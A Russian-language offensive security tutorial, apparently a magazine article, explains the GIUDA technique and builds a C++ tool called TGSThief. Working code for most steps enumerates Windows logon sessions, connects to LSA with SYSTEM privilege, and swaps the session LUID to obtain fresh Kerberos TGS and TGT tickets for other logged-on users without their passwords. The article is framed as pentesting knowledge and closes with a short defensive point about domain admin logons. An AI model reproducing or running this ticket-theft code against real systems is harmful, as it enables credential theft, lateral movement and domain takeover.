Абьюз сессий Windows по-новому. Получаем билеты TGT методом GIUDA
Есть разные способы злоупотреблять сессией пользователя на устройстве: кража учетных данных, манипуляции с токенами и другие. Но знаешь ли ты, что можно сымитировать получение TGT-билета пользователем через совершенно легитимные функции Windows?
В этом году появилось несколько новых способов из такого разряда. Наиболее интересные — WTSImpersonator и GIUDA. Последний позволяет получать тикеты залогиненного пользователя, даже не зная его пароля! Давай разберемся, как это работает, а параллельно напишем реализацию на C++, которую я назвал TGSThief.
LOGON SESSION
При входе пользователя в Windows появляется сессия пользователя, которая хранит все данные о нем. Для каждого нового пользователя создается новая сессия. Например, если на компьютере одновременно работают два пользователя, то будет две сессии.
Каждая сессия определяется с помощью LUID (locally unique identifier). Из названия понятно, что LUID уникален для каждой сессии. Информация хранится в виде одноименной структуры.
typedef struct _LUID { ULONG LowPart; LONG HighPart;} LUID, *PLUID;
Сам LUID представлен в виде двух значений: ULONG и LONG. Причем обычно заполняется лишь поле LowPart, а HighPart имеет значение 0.
Эта структура используется во всех функциях WinAPI, которые так или иначе связаны с сессиями пользователя.
С помощью GetTokenInformation() можно получить LUID пользователя. Для этого функции следует передать токен процесса, запущенного от имени текущего пользователя.
#include <windows.h>#include <iostream>
#include <sddl.h>int main() { HANDLE tokenHandle; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tokenHandle)) { std::cerr << "Ошибка OpenProcessToken: " << GetLastError() << std::endl; return 1; } DWORD tokenInformationLength = 0; GetTokenInformation(tokenHandle, TokenStatistics, nullptr, 0, &tokenInformationLength); if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) { std::cerr << "GetTokenInformation неудачный первый вызов: " << GetLastError() << std::endl; CloseHandle(tokenHandle); return 1; } TOKEN_STATISTICS* tokenStats = reinterpret_cast<TOKEN_STATISTICS*>(new BYTE[tokenInformationLength]); if (tokenStats == nullptr) { std::cerr << "Ошибка выделения памяти для TOKEN_STATISTICS" << std::endl; CloseHandle(tokenHandle);
return 1; } if (!GetTokenInformation(tokenHandle, TokenStatistics, tokenStats, tokenInformationLength, &tokenInformationLength)) { std::cerr << "Ошибка GetTokenInformation: " << GetLastError() << std::endl; delete[] tokenStats; CloseHandle(tokenHandle);
return 1; } std::cout << "LUID: " << std::hex << "0x" << std::uppercase << tokenStats->AuthenticationId.LowPart << tokenStats->AuthenticationId.HighPart << std::endl; delete[] tokenStats; CloseHandle(tokenHandle); return 0;}
Информация о LUID пользователя упадет в поле AuthenticationId структуры TOKEN_STATISTICS.
typedef struct _TOKEN_STATISTICS { LUID TokenId; LUID AuthenticationId; LARGE_INTEGER ExpirationTime; TOKEN_TYPE TokenType; SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; DWORD DynamicCharged; DWORD DynamicAvailable; DWORD GroupCount; DWORD PrivilegeCount; LUID ModifiedId;} TOKEN_STATISTICS, *PTOKEN_STATISTICS;
Именно на манипуляциях с LUID основана логика инструмента GIUDA. Фактически идет подмена LUID, что открывает возможность запросить билет от лица пользователя, чья сессия просто присутствует на устройстве. Свой LUID мы получать научились, а как получать LUID других пользователей?
Конечно, можем перечислить все процессы, запросить токен каждого процесса, извлечь LUID, но это неудобно. Поэтому следует использовать функцию LsaEnumerateLogonSessions().
NTSTATUS LsaEnumerateLogonSessions( [out] PULONG LogonSessionCount, [out] PLUID *LogonSessionList);
Вот пример перечисления всех сессий в системе:
#include <windows.h>
#include <ntsecapi.h>
#include <iostream>
#include <locale.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#pragma comment(lib, "Secur32.lib")int main() { setlocale(LC_ALL, ""); ULONG logonSessionCount = 0; PLUID logonSessionList = nullptr;
NTSTATUS status = LsaEnumerateLogonSessions(&logonSessionCount, &logonSessionList); if (status != STATUS_SUCCESS) { std::cerr << "Ошибка LsaEnumerateLogonSessions: " << status << std::endl; return 1; } std::cout << "Количество сеансов входа в систему: " << logonSessionCount << std::endl; for (ULONG i = 0; i < logonSessionCount; ++i) {
std::cout << "Сеанс №" << i + 1 << std::endl; std::cout << "LUID: " << std::hex << "0x" << std::uppercase << logonSessionList[i].LowPart << logonSessionList[i].HighPart << std::endl; std::cout << std::endl; } LsaFreeReturnBuffer(logonSessionList); return 0;}
К сожалению, из одного LUID не очень понятно, что представляет собой эта сессия. Хотелось бы получить хотя бы имя пользователя. Для этого применяется функция LsaGetLogonSessionData().
NTSTATUS LsaGetLogonSessionData( [in] PLUID LogonId, [out] PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData);
Функция принимает LUID, информацию о котором нужно получить, а возвращает структуру SECURITY_LOGON_SESSION_DATA.
typedef struct _SECURITY_LOGON_SESSION_DATA { ULONG Size; LUID LogonId; LSA_UNICODE_STRING UserName; LSA_UNICODE_STRING LogonDomain; LSA_UNICODE_STRING AuthenticationPackage; ULONG LogonType; ULONG Session; PSID Sid; LARGE_INTEGER LogonTime; LSA_UNICODE_STRING LogonServer; LSA_UNICODE_STRING DnsDomainName; LSA_UNICODE_STRING Upn; ULONG UserFlags; LSA_LAST_INTER_LOGON_INFO LastLogonInfo; LSA_UNICODE_STRING LogonScript; LSA_UNICODE_STRING ProfilePath; LSA_UNICODE_STRING HomeDirectory; LSA_UNICODE_STRING HomeDirectoryDrive; LARGE_INTEGER LogoffTime; LARGE_INTEGER KickOffTime; LARGE_INTEGER PasswordLastSet; LARGE_INTEGER PasswordCanChange; LARGE_INTEGER PasswordMustChange;} SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA;
В этой структуре — масса информации о пользователе: имя юзера, пакет аутентификации, через который он прошел проверку, и его флаги. Подробно с описанием каждого элемента структуры можешь ознакомиться в документации. Нас же будут интересовать поля LogonDomain и UserName. Следующая функция позволяет извлечь их, принимает только LUID.
std::wstring GetUserNameFromLogonId(LUID LogonId){ PSECURITY_LOGON_SESSION_DATA pSessionData = NULL; if (LsaGetLogonSessionData(&LogonId, &pSessionData) != 0) { return L""; } std::wstring domainName(pSessionData->LogonDomain.Buffer, pSessionData->LogonDomain.Buffer + wcslen(pSessionData->LogonDomain.Buffer)); std::wstring userName(pSessionData->UserName.Buffer, pSessionData->UserName.Buffer + wcslen(pSessionData->UserName.Buffer)); LsaFreeReturnBuffer(pSessionData); return domainName + L"\" + userName;}
Вот полный код программы с изменениями:
#include <windows.h>
#include <ntsecapi.h>
#include <iostream>
#include <locale.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#pragma comment(lib, "Secur32.lib")std::wstring GetUserNameFromLogonId(LUID LogonId){ PSECURITY_LOGON_SESSION_DATA pSessionData = NULL; if (LsaGetLogonSessionData(&LogonId, &pSessionData) != 0) { return L""; } std::wstring domainName(pSessionData->LogonDomain.Buffer, pSessionData->LogonDomain.Buffer + wcslen(pSessionData->LogonDomain.Buffer)); std::wstring userName(pSessionData->UserName.Buffer, pSessionData->UserName.Buffer + wcslen(pSessionData->UserName.Buffer)); LsaFreeReturnBuffer(pSessionData); return domainName + L"\" + userName;}int main() { setlocale(LC_ALL, ""); ULONG logonSessionCount = 0; PLUID logonSessionList = nullptr; NTSTATUS status = LsaEnumerateLogonSessions(&logonSessionCount, &logonSessionList); if (status != STATUS_SUCCESS) { std::cerr << "Ошибка LsaEnumerateLogonSessions: " << status << std::endl; return 1; } std::cout << "Количество сеансов входа в систему: " << logonSessionCount << std::endl; for (ULONG i = 0; i < logonSessionCount; ++i) { std::cout << "Сеанс №" << i + 1 << std::endl; std::wcout << L"LUID: " << std::hex << L"0x" << std::uppercase << logonSessionList[i].LowPart << logonSessionList[i].HighPart << L" " << GetUserNameFromLogonId(logonSessionList[i]) << std::endl; std::cout << std::endl; } LsaFreeReturnBuffer(logonSessionList); return 0;}
Отлично! Как выглядят сессии, мы разобрались. Теперь пора показать, как запрашиваются билеты Kerberos самой LSA. Это поможет нам подменить LUID и получить чужой тикет.
КАК LSA ЗАПРАШИВАЕТ БИЛЕТЫ KERBEROS
Для запроса TGS-билета LSA получает SPN (service principal name, идентификатор службы) и передает на KDC. Мы можем запрашивать билеты TGS сами. Для этого есть функция LsaCallAuthenticationPackage().
NTSTATUS LsaCallAuthenticationPackage( [in] HANDLE LsaHandle, [in] ULONG AuthenticationPackage, [in] PVOID ProtocolSubmitBuffer, [in] ULONG SubmitBufferLength, [out] PVOID *ProtocolReturnBuffer, [out] PULONG ReturnBufferLength, [out] PNTSTATUS ProtocolStatus);
LsaHandle— хендл, указывающий на службу LSA, который можно получить с помощью LsaRegisterLogonProcess() или LsaConnectUntrusted();AuthenticationPackage— номер AP, с которым следует взаимодействовать;ProtocolSubmitBuffer— передаваемый буфер, мы будем отдавать KERB_RETRIEVE_TKT_REQUEST;SubmitBufferLength— размер передаваемого буфера;ProtocolReturnBuffer— ответ отAuthenticationPackage. Нам прилетит структура KERB_RETRIEVE_TKT_RESPONSE;ReturnBufferLength— размер буфера с ответом;ProtocolStatus— значение, которое будет содержать код ошибки от AP.
Итак, как заполнить KERB_RETRIEVE_TKT_REQUEST, чтобы получить билет TGS? Структура выглядит вот так:
typedef struct _KERB_RETRIEVE_TKT_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; UNICODE_STRING TargetName; ULONG TicketFlags; ULONG CacheOptions; LONG EncryptionType; SecHandle CredentialsHandle;} KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;
MessageType— то, что нам нужно получить от AP. УказываемKerbRetrieveEncodedTicketMessage;LogonID— LUID сессии, от лица которой происходит обращение к AP. Именно в этот момент и будет подменен LUID. Проблема в том, что если мы подключились к LSA черезLsaConnectUntrusted(), то у нас не получится указать здесь LUID чужой сессии — LSA выдаст ошибку0x5 ERROR_ACCESS_DENIED, но если мы подключимся черезLsaRegisterLogonProcess(), то сможем передавать сюда любой желанный LUID. И таким образом сможем запрашивать билеты из чужой сессии;TargetName— здесь указываем SPN службы, на которую нужно получить билет;CacheOptions— опции, связанные с кешем LSA. Кеш LSA — это некое хранилище, в котором лежат билеты. Здесь тоже есть некоторые особенности. Если мы сразу укажемKERB_RETRIEVE_TICKET_AS_KERB_CRED(значение для получения билета в формеKRB_CRED, сразу с сессионным ключом), то есть шанс не получить билет. Проблема в том, что в кеше LSA может не быть билета для той службы, на которую мы хотим сходить. И если мы сразу указываемKERB_RETRIEVE_TICKET_AS_KERB_CRED, то LSA может просто не вернуть никакого билета, поскольку возвращать нечего. Поэтому придется дважды вызвать функциюLsaCallAuthenticationPackage(). Первый раз — со значениемKERB_RETRIEVE_TICKET_DEFAULT, второй — сKERB_RETRIEVE_TICKET_AS_KERB_CRED....DEFAULTотвечает за запрос билета. То есть просим LSA обратиться к KDC и получить билет;EncryptionType— желаемый тип шифрования для запрошенного билета. УказываемKERB_ETYPE_DEFAULT— нам не принципиален тип шифрования;CredentialsHandle— используется для SSPI, в данном случае неважно.
КРАДЕМ БИЛЕТ
Мы разобрались с тем, как работает запрос билетов Kerberos на локальной системе. Пора переходить к эксплуатации!
Сначала мы перечисляем все имеющиеся сессии, для этого я создал функцию LogonInfo(). Она принимает указатель на структуру LUID, которая будет проинициализирована нужной сессией. Фактически — у какого пользователя нужно стащить билет. Ну или не «стащить», а получить новый, абсолютно свежий и чистый билет для каждого пользователя.
BOOL LogonInfo(LUID* LogonSession){ std::vector<LUID> logonIds; PLUID sessions; ULONG sessionCount;
if (LsaEnumerateLogonSessions(&sessionCount, &sessions) != 0) {
return FALSE; } for (ULONG i = 0; i < sessionCount; ++i) { logonIds.push_back(sessions[i]); } LsaFreeReturnBuffer(sessions);
for (size_t i = 0; i < logonIds.size(); ++i) { std::wcout << L"\t[!] Index: " << i << L", Logon ID: " << to_hex(logonIds[i].LowPart) << ", Username: " << GetUserNameFromLogonId(logonIds[i]) << '\n'; } size_t index; std::cout << "\n[?] Enter index of logon session: ";
std::cin >> index; if (index < logonIds.size()) { LUID selectedLogonId = logonIds[index]; *LogonSession = selectedLogonId; return TRUE; }
else { return FALSE; } return FALSE;}
Следующим шагом подключаемся к LSA с помощью LsaRegisterLogonProcess(), чтобы передать LUID чужой сессии. Для вызова этой функции нужна привилегия SeTcbPrivilege. Ей обладает только учетная запись системы. Привилегию, конечно, можно назначить и руками через GPO или с помощью Privileger.
Чувствуешь, что это несколько неудобно? Поэтому я добавил в код простейший алгоритм для повышения привилегий до учетной записи системы. Здесь все стандартно:
Код я выделил в отдельный файл getsystem.cpp.
Теперь у нас есть привилегия SeTcbPrivilege, так как ей обладает учетная запись системы. Следующим шагом с помощью LsaLookupAuthenticationPackage() получаем номер AP Kerberos.
Наконец у нас есть хендл, LUID и номер AP Kerberos. Пора ломать!
Для этого я написал отдельную функцию AskTgs(). Она принимает все эти данные.
BOOL AskTgs(HANDLE hLsa, ULONG AP, LUID logonId, LPCWSTR szTarget, LUID originaLuid) { ...}
Сначала готовим две структуры — KERB_RETRIEVE_TKT_REQUEST и KERB_RETRIEVE_TKT_RESPONSE. Первую инициализируем значениями, которые я уже описывал.
PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest;PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse;dwTarget = (USHORT)((wcslen(szTarget) + 1) * sizeof(wchar_t));szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + dwTarget;pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_DEFAULT;pKerbRetrieveRequest->EncryptionType = KERB_ETYPE_DEFAULT;pKerbRetrieveRequest->TargetName.Length = dwTarget - sizeof(wchar_t);pKerbRetrieveRequest->TargetName.MaximumLength = dwTarget;pKerbRetrieveRequest->LogonId = logonId;pKerbRetrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, szTarget, pKerbRetrieveRequest->TargetName.MaximumLength);
NTSTATUS status = LsaCallAuthenticationPackage(hLsa, AP, pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus);
Теперь LSA обратится к KDC и получит новый тикет. Если мы сразу же попробуем его извлечь, то он не будет валидным. Точнее, в нем не будет сессионного ключа и пользоваться им не получится.
Поэтому, убедившись, что вызов успешно совершен, меняем CacheOptions на KERB_RETRIEVE_TICKET_AS_KERB_CRED и обращаемся к LSA.
if (status == STATUS_SUCCESS) { if (packageStatus == STATUS_SUCCESS) { pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED; status = LsaCallAuthenticationPackage(hLsa, AP, pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus); if (status == STATUS_SUCCESS) { if (packageStatus == STATUS_SUCCESS) { std::wcout << L"[+] Asking for TGS Success" << std::endl; std::cout << "[+] Ticket: " << base64_encode(pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize) << std::endl;
Билет будет лежать в поле Ticket.EncodedTicket. Предлагаю посмотреть, как это работает.
Представим, что во время пентеста мы сломали машину, на которую ходит пользователь CRINGE\petka. Запускаем TGSThief и видим его сессию.
Затем прописываем нужный SPN, то есть службу, на которую нужно получить TGS-билет. И получаем его.
Успех! Теперь можем ходить от лица CRINGE\petka на dc01.cringe.lab.
TGT — ЭТО TGS
Казалось бы, получение билета TGS — отличный результат! Но всегда хочется большего, правда? Знаешь ли ты, что билет TGT — это фактически билет TGS, но на службу krbtgt? Получается, что у нас есть TGS-билет на krbtgt, а служба krbtgt позволяет выписывать другие TGS-билеты. Вот и всё.
К такому выводу я пришел, когда писал дампер билетов. Доказать проще простого: вновь запускаем TGSThief, только в этот раз указываем krbtgt/cringe.lab.
Бинго! Мы можем запрашивать чужие билеты TGT! Таким образом, если при пентесте удалось захватить какой‑то хост, куда ходят пользователи, то, используя TGSThief, получится раздобыть и TGT этих пользователей. Причем билеты TGT будут абсолютно свежие, новые, только что запрошенные.
ВЫВОДЫ
Теперь ты знаешь, как злоупотреблять сессиями пользователей по‑новому. Эта атака в очередной раз подтверждает, что на системы нельзя ходить от лица администратора домена. В противном случае атакующий сможет захватить всю сеть в считаные минуты.